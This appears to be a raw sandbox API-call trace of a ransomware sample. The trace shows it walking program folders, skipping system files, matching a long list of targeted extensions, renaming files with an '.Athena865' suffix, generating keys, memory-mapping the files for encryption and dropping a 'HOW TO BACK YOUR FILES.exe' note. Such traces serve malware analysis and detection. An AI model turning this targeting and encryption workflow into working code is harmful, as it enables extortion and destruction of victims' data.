lstrcpyW (in: lpString1=0x241e88c, lpString2="DissolveNoise.png" | out: lpString1="DissolveNoise.png") returned="DissolveNoise.png" [0064.866] lstrlenW (lpString="DissolveNoise.png") returned 17 [0064.866] lstrlenW (lpString="Athena865") returned 9 [0064.866] lstrcmpiW (lpString1="Noise.png", lpString2="Athena865") returned 1 [0064.866] lstrlenW (lpString=".dll") returned 4 [0064.866] lstrcmpiW (lpString1="DissolveNoise.png", lpString2=".dll") returned 1 [0064.866] lstrlenW (lpString=".lnk") returned 4 [0064.866] lstrcmpiW (lpString1="DissolveNoise.png", lpString2=".lnk") returned 1 [0064.866] lstrlenW (lpString=".ini") returned 4 [0064.866] lstrcmpiW (lpString1="DissolveNoise.png", lpString2=".ini") returned 1 [0064.866] lstrlenW (lpString=".sys") returned 4 [0064.866] lstrcmpiW (lpString1="DissolveNoise.png", lpString2=".sys") returned 1 [0064.866] lstrlenW (lpString="DissolveNoise.png") returned 17 [0064.867] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.Athena865") returned 61 [0064.867] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.athena865"), dwFlags=0x1) returned 1 [0064.868] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0064.868] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=751669) returned 1 [0064.868] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0064.868] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0064.868] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0064.868] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0064.869] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0064.869] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.869] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb7b40, lpName=0x0) returned 0x17c [0064.870] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb7b40) returned 0x2d50000 [0064.903] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0064.903] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0064.903] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0064.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0064.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0064.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0064.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0064.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0064.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0064.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0064.904] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0064.911] CloseHandle (hObject=0x17c) returned 1 [0064.911] CloseHandle (hObject=0x154) returned 1 [0064.911] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0064.911] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0064.911] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0064.914] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="DVDSTY~1")) returned 1 [0064.914] lstrcmpiW (lpString1="DvdStyles", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.914] lstrcmpiW (lpString1="DvdStyles", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.914] lstrcmpiW (lpString1="DvdStyles", lpString2=".") returned 1 [0064.914] lstrcmpiW (lpString1="DvdStyles", lpString2="..") returned 1 [0064.914] lstrcmpiW (lpString1="DvdStyles", lpString2="windows") returned -1 [0064.914] lstrcmpiW (lpString1="DvdStyles", lpString2="bootmgr") returned 1 [0064.914] lstrcmpiW (lpString1="DvdStyles", lpString2="temp") returned -1 [0064.914] lstrcmpiW (lpString1="DvdStyles", lpString2="pagefile.sys") returned -1 [0064.914] lstrcmpiW (lpString1="DvdStyles", lpString2="boot") returned 1 [0064.914] lstrcmpiW (lpString1="DvdStyles", lpString2="ids.txt") returned -1 [0064.914] lstrcmpiW (lpString1="DvdStyles", lpString2="ntuser.dat") returned -1 [0064.914] lstrcmpiW (lpString1="DvdStyles", lpString2="perflogs") returned -1 [0064.914] lstrcmpiW (lpString1="DvdStyles", lpString2="MSBuild") returned -1 [0064.914] lstrlenW (lpString="DvdStyles") returned 9 [0064.914] lstrcpyW (in: lpString1=0x241e88c, lpString2="DvdStyles" | out: lpString1="DvdStyles") returned="DvdStyles" [0064.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f700 [0064.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x528cb0 [0064.915] lstrcatW (in: lpString1="DvdStyles", lpString2="\\" | out: lpString1="DvdStyles\\") returned="DvdStyles\\" [0064.915] lstrcatW (in: lpString1="DvdStyles\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DvdStyles\\HOW TO BACK YOUR FILES.exe") returned="DvdStyles\\HOW TO BACK YOUR FILES.exe" [0064.915] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.919] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0064.919] lstrcmpiW (lpString1="Filters.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.919] lstrcmpiW (lpString1="Filters.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.919] lstrcmpiW (lpString1="Filters.xml", lpString2=".") returned 1 [0064.919] lstrcmpiW (lpString1="Filters.xml", lpString2="..") returned 1 [0064.919] lstrcmpiW (lpString1="Filters.xml", lpString2="windows") returned -1 [0064.919] lstrcmpiW (lpString1="Filters.xml", lpString2="bootmgr") returned 1 [0064.919] lstrcmpiW (lpString1="Filters.xml", lpString2="temp") returned -1 [0064.919] lstrcmpiW (lpString1="Filters.xml", lpString2="pagefile.sys") returned -1 [0064.919] lstrcmpiW (lpString1="Filters.xml", lpString2="boot") returned 1 [0064.919] lstrcmpiW (lpString1="Filters.xml", lpString2="ids.txt") returned -1 [0064.919] lstrcmpiW (lpString1="Filters.xml", lpString2="ntuser.dat") returned -1 [0064.920] lstrcmpiW (lpString1="Filters.xml", lpString2="perflogs") returned -1 [0064.920] lstrcmpiW (lpString1="Filters.xml", lpString2="MSBuild") returned -1 [0064.920] lstrlenW (lpString="Filters.xml") returned 11 [0064.920] lstrcpyW (in: lpString1=0x241e88c, lpString2="Filters.xml" | out: lpString1="Filters.xml") returned="Filters.xml" [0064.920] lstrlenW (lpString="Filters.xml") returned 11 [0064.920] lstrlenW (lpString="Athena865") returned 9 [0064.920] lstrcmpiW (lpString1="lters.xml", lpString2="Athena865") returned 1 [0064.920] lstrlenW (lpString=".dll") returned 4 [0064.920] lstrcmpiW (lpString1="Filters.xml", lpString2=".dll") returned 1 [0064.920] lstrlenW (lpString=".lnk") returned 4 [0064.920] lstrcmpiW (lpString1="Filters.xml", lpString2=".lnk") returned 1 [0064.920] lstrlenW (lpString=".ini") returned 4 [0064.920] lstrcmpiW (lpString1="Filters.xml", lpString2=".ini") returned 1 [0064.920] lstrlenW (lpString=".sys") returned 4 [0064.920] lstrcmpiW (lpString1="Filters.xml", lpString2=".sys") returned 1 [0064.920] lstrlenW (lpString="Filters.xml") returned 11 [0064.920] lstrlenW (lpString="bak") returned 3 [0064.920] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0064.920] lstrlenW (lpString="ba_") returned 3 [0064.920] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0064.920] lstrlenW (lpString="dbb") returned 3 [0064.920] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0064.920] lstrlenW (lpString="vmdk") returned 4 [0064.920] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0064.920] lstrlenW (lpString="rar") returned 3 [0064.920] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0064.920] lstrlenW (lpString="zip") returned 3 [0064.920] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0064.920] lstrlenW (lpString="tgz") returned 3 [0064.920] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0064.920] lstrlenW (lpString="vbox") returned 4 [0064.920] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0064.921] lstrlenW (lpString="vdi") returned 3 [0064.921] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0064.921] lstrlenW (lpString="vhd") returned 3 [0064.921] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0064.921] lstrlenW (lpString="vhdx") returned 4 [0064.921] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0064.921] lstrlenW (lpString="avhd") returned 4 [0064.921] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0064.921] lstrlenW (lpString="db") returned 2 [0064.921] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0064.921] lstrlenW (lpString="db2") returned 3 [0064.921] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0064.921] lstrlenW (lpString="db3") returned 3 [0064.921] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0064.921] lstrlenW (lpString="dbf") returned 3 [0064.921] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0064.921] lstrlenW (lpString="mdf") returned 3 [0064.921] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0064.921] lstrlenW (lpString="mdb") returned 3 [0064.921] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0064.921] lstrlenW (lpString="sql") returned 3 [0064.921] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0064.921] lstrlenW (lpString="sqlite") returned 6 [0064.921] lstrcmpiW (lpString1="rs.xml", lpString2="sqlite") returned -1 [0064.921] lstrlenW (lpString="sqlite3") returned 7 [0064.921] lstrcmpiW (lpString1="ers.xml", lpString2="sqlite3") returned -1 [0064.921] lstrlenW (lpString="sqlitedb") returned 8 [0064.921] lstrcmpiW (lpString1="ters.xml", lpString2="sqlitedb") returned 1 [0064.921] lstrlenW (lpString="xml") returned 3 [0064.921] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0064.921] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml.Athena865") returned 55 [0064.921] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml.athena865"), dwFlags=0x1) returned 1 [0064.922] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0064.922] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14239) returned 1 [0064.922] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0064.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0064.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0064.923] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0064.923] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0064.923] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.924] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3aa0, lpName=0x0) returned 0x154 [0064.925] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3aa0) returned 0x100000 [0064.926] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0064.927] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0064.927] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0064.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0064.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0064.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0064.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0064.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0064.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0064.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0064.928] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0064.928] CloseHandle (hObject=0x154) returned 1 [0064.928] CloseHandle (hObject=0x17c) returned 1 [0064.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0064.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0064.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0064.928] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe299700, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbe299700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0064.928] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0064.928] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1 [0064.928] lstrcmpiW (lpString1="Parity.fx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.928] lstrcmpiW (lpString1="Parity.fx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.928] lstrcmpiW (lpString1="Parity.fx", lpString2=".") returned 1 [0064.928] lstrcmpiW (lpString1="Parity.fx", lpString2="..") returned 1 [0064.929] lstrcmpiW (lpString1="Parity.fx", lpString2="windows") returned -1 [0064.929] lstrcmpiW (lpString1="Parity.fx", lpString2="bootmgr") returned 1 [0064.929] lstrcmpiW (lpString1="Parity.fx", lpString2="temp") returned -1 [0064.929] lstrcmpiW (lpString1="Parity.fx", lpString2="pagefile.sys") returned 1 [0064.929] lstrcmpiW (lpString1="Parity.fx", lpString2="boot") returned 1 [0064.929] lstrcmpiW (lpString1="Parity.fx", lpString2="ids.txt") returned 1 [0064.929] lstrcmpiW (lpString1="Parity.fx", lpString2="ntuser.dat") returned 1 [0064.929] lstrcmpiW (lpString1="Parity.fx", lpString2="perflogs") returned -1 [0064.929] lstrcmpiW (lpString1="Parity.fx", lpString2="MSBuild") returned 1 [0064.929] lstrlenW (lpString="Parity.fx") returned 9 [0064.929] lstrcpyW (in: lpString1=0x241e88c, lpString2="Parity.fx" | out: lpString1="Parity.fx") returned="Parity.fx" [0064.929] lstrlenW (lpString="Parity.fx") returned 9 [0064.929] lstrlenW (lpString="Athena865") returned 9 [0064.929] lstrlenW (lpString=".dll") returned 4 [0064.929] lstrcmpiW (lpString1="Parity.fx", lpString2=".dll") returned 1 [0064.929] lstrlenW (lpString=".lnk") returned 4 [0064.929] lstrcmpiW (lpString1="Parity.fx", lpString2=".lnk") returned 1 [0064.929] lstrlenW (lpString=".ini") returned 4 [0064.929] lstrcmpiW (lpString1="Parity.fx", lpString2=".ini") returned 1 [0064.929] lstrlenW (lpString=".sys") returned 4 [0064.929] lstrcmpiW (lpString1="Parity.fx", lpString2=".sys") returned 1 [0064.929] lstrlenW (lpString="Parity.fx") returned 9 [0064.929] lstrlenW (lpString="bak") returned 3 [0064.929] lstrcmpiW (lpString1=".fx", lpString2="bak") returned -1 [0064.929] lstrlenW (lpString="ba_") returned 3 [0064.929] lstrcmpiW (lpString1=".fx", lpString2="ba_") returned -1 [0064.930] lstrlenW (lpString="dbb") returned 3 [0064.930] lstrcmpiW (lpString1=".fx", lpString2="dbb") returned -1 [0064.930] lstrlenW (lpString="vmdk") returned 4 [0064.930] lstrcmpiW (lpString1="y.fx", lpString2="vmdk") returned 1 [0064.930] lstrlenW (lpString="rar") returned 3 [0064.930] lstrcmpiW (lpString1=".fx", lpString2="rar") returned -1 [0064.930] lstrlenW (lpString="zip") returned 3 [0064.930] lstrcmpiW (lpString1=".fx", lpString2="zip") returned -1 [0064.930] lstrlenW (lpString="tgz") returned 3 [0064.930] lstrcmpiW (lpString1=".fx", lpString2="tgz") returned -1 [0064.930] lstrlenW (lpString="vbox") returned 4 [0064.930] lstrcmpiW (lpString1="y.fx", lpString2="vbox") returned 1 [0064.930] lstrlenW (lpString="vdi") returned 3 [0064.930] lstrcmpiW (lpString1=".fx", lpString2="vdi") returned -1 [0064.930] lstrlenW (lpString="vhd") returned 3 [0064.930] lstrcmpiW (lpString1=".fx", lpString2="vhd") returned -1 [0064.930] lstrlenW (lpString="vhdx") returned 4 [0064.930] lstrcmpiW (lpString1="y.fx", lpString2="vhdx") returned 1 [0064.930] lstrlenW (lpString="avhd") returned 4 [0064.930] lstrcmpiW (lpString1="y.fx", lpString2="avhd") returned 1 [0064.930] lstrlenW (lpString="db") returned 2 [0064.930] lstrcmpiW (lpString1="fx", lpString2="db") returned 1 [0064.930] lstrlenW (lpString="db2") returned 3 [0064.930] lstrcmpiW (lpString1=".fx", lpString2="db2") returned -1 [0064.930] lstrlenW (lpString="db3") returned 3 [0064.930] lstrcmpiW (lpString1=".fx", lpString2="db3") returned -1 [0064.930] lstrlenW (lpString="dbf") returned 3 [0064.930] lstrcmpiW (lpString1=".fx", lpString2="dbf") returned -1 [0064.930] lstrlenW (lpString="mdf") returned 3 [0064.930] lstrcmpiW (lpString1=".fx", lpString2="mdf") returned -1 [0064.930] lstrlenW (lpString="mdb") returned 3 [0064.930] lstrcmpiW (lpString1=".fx", lpString2="mdb") returned -1 [0064.931] lstrlenW (lpString="sql") returned 3 [0064.931] lstrcmpiW (lpString1=".fx", lpString2="sql") returned -1 [0064.931] lstrlenW (lpString="sqlite") returned 6 [0064.931] lstrcmpiW (lpString1="ity.fx", lpString2="sqlite") returned -1 [0064.931] lstrlenW (lpString="sqlite3") returned 7 [0064.931] lstrcmpiW (lpString1="rity.fx", lpString2="sqlite3") returned -1 [0064.931] lstrlenW (lpString="sqlitedb") returned 8 [0064.931] lstrcmpiW (lpString1="arity.fx", lpString2="sqlitedb") returned -1 [0064.931] lstrlenW (lpString="xml") returned 3 [0064.931] lstrcmpiW (lpString1=".fx", lpString2="xml") returned -1 [0064.931] lstrlenW (lpString="$er") returned 3 [0064.931] lstrcmpiW (lpString1=".fx", lpString2="$er") returned 1 [0064.931] lstrlenW (lpString="4dd") returned 3 [0064.931] lstrcmpiW (lpString1=".fx", lpString2="4dd") returned -1 [0064.931] lstrlenW (lpString="4dl") returned 3 [0064.931] lstrcmpiW (lpString1=".fx", lpString2="4dl") returned -1 [0064.931] lstrlenW (lpString="^^^") returned 3 [0064.931] lstrcmpiW (lpString1=".fx", lpString2="^^^") returned -1 [0064.931] lstrlenW (lpString="abs") returned 3 [0064.931] lstrcmpiW (lpString1=".fx", lpString2="abs") returned -1 [0064.931] lstrlenW (lpString="abx") returned 3 [0064.931] lstrcmpiW (lpString1=".fx", lpString2="abx") returned -1 [0064.931] lstrlenW (lpString="accdb") returned 5 [0064.931] lstrcmpiW (lpString1="ty.fx", lpString2="accdb") returned 1 [0064.931] lstrlenW (lpString="accdc") returned 5 [0064.931] lstrcmpiW (lpString1="ty.fx", lpString2="accdc") returned 1 [0064.931] lstrlenW (lpString="accde") returned 5 [0064.931] lstrcmpiW (lpString1="ty.fx", lpString2="accde") returned 1 [0064.931] lstrlenW (lpString="accdr") returned 5 [0064.931] lstrcmpiW (lpString1="ty.fx", lpString2="accdr") returned 1 [0064.931] lstrlenW (lpString="accdt") returned 5 [0064.931] lstrcmpiW (lpString1="ty.fx", lpString2="accdt") returned 1 [0064.932] lstrlenW (lpString="accdw") returned 5 [0064.932] lstrcmpiW (lpString1="ty.fx", lpString2="accdw") returned 1 [0064.932] lstrlenW (lpString="accft") returned 5 [0064.932] lstrcmpiW (lpString1="ty.fx", lpString2="accft") returned 1 [0064.932] lstrlenW (lpString="adb") returned 3 [0064.932] lstrcmpiW (lpString1=".fx", lpString2="adb") returned -1 [0064.932] lstrlenW (lpString="adb") returned 3 [0064.932] lstrcmpiW (lpString1=".fx", lpString2="adb") returned -1 [0064.932] lstrlenW (lpString="ade") returned 3 [0064.932] lstrcmpiW (lpString1=".fx", lpString2="ade") returned -1 [0064.932] lstrlenW (lpString="adf") returned 3 [0064.932] lstrcmpiW (lpString1=".fx", lpString2="adf") returned -1 [0064.932] lstrlenW (lpString="adn") returned 3 [0064.932] lstrcmpiW (lpString1=".fx", lpString2="adn") returned -1 [0064.932] lstrlenW (lpString="adp") returned 3 [0064.932] lstrcmpiW (lpString1=".fx", lpString2="adp") returned -1 [0064.932] lstrlenW (lpString="alf") returned 3 [0064.932] lstrcmpiW (lpString1=".fx", lpString2="alf") returned -1 [0064.932] lstrlenW (lpString="ask") returned 3 [0064.932] lstrcmpiW (lpString1=".fx", lpString2="ask") returned -1 [0064.932] lstrlenW (lpString="btr") returned 3 [0064.932] lstrcmpiW (lpString1=".fx", lpString2="btr") returned -1 [0064.932] lstrlenW (lpString="cat") returned 3 [0064.932] lstrcmpiW (lpString1=".fx", lpString2="cat") returned -1 [0064.932] lstrlenW (lpString="cdb") returned 3 [0064.932] lstrcmpiW (lpString1=".fx", lpString2="cdb") returned -1 [0064.932] lstrlenW (lpString="ckp") returned 3 [0064.932] lstrcmpiW (lpString1=".fx", lpString2="ckp") returned -1 [0064.932] lstrlenW (lpString="cma") returned 3 [0064.932] lstrcmpiW (lpString1=".fx", lpString2="cma") returned -1 [0064.932] lstrlenW (lpString="cpd") returned 3 [0064.932] lstrcmpiW (lpString1=".fx", lpString2="cpd") returned -1 [0064.932] lstrlenW (lpString="dacpac") returned 6 [0064.933] lstrcmpiW (lpString1="ity.fx", lpString2="dacpac") returned 1 [0064.933] lstrlenW (lpString="dad") returned 3 [0064.933] lstrcmpiW (lpString1=".fx", lpString2="dad") returned -1 [0064.933] lstrlenW (lpString="dadiagrams") returned 10 [0064.933] lstrlenW (lpString="daschema") returned 8 [0064.933] lstrcmpiW (lpString1="arity.fx", lpString2="daschema") returned -1 [0064.933] lstrlenW (lpString="db-journal") returned 10 [0064.933] lstrlenW (lpString="db-shm") returned 6 [0064.933] lstrcmpiW (lpString1="ity.fx", lpString2="db-shm") returned 1 [0064.933] lstrlenW (lpString="db-wal") returned 6 [0064.933] lstrcmpiW (lpString1="ity.fx", lpString2="db-wal") returned 1 [0064.933] lstrlenW (lpString="dbc") returned 3 [0064.933] lstrcmpiW (lpString1=".fx", lpString2="dbc") returned -1 [0064.933] lstrlenW (lpString="dbs") returned 3 [0064.933] lstrcmpiW (lpString1=".fx", lpString2="dbs") returned -1 [0064.933] lstrlenW (lpString="dbt") returned 3 [0064.933] lstrcmpiW (lpString1=".fx", lpString2="dbt") returned -1 [0064.933] lstrlenW (lpString="dbv") returned 3 [0064.933] lstrcmpiW (lpString1=".fx", lpString2="dbv") returned -1 [0064.933] lstrlenW (lpString="dbx") returned 3 [0064.933] lstrcmpiW (lpString1=".fx", lpString2="dbx") returned -1 [0064.933] lstrlenW (lpString="dcb") returned 3 [0064.933] lstrcmpiW (lpString1=".fx", lpString2="dcb") returned -1 [0064.933] lstrlenW (lpString="dct") returned 3 [0064.933] lstrcmpiW (lpString1=".fx", lpString2="dct") returned -1 [0064.933] 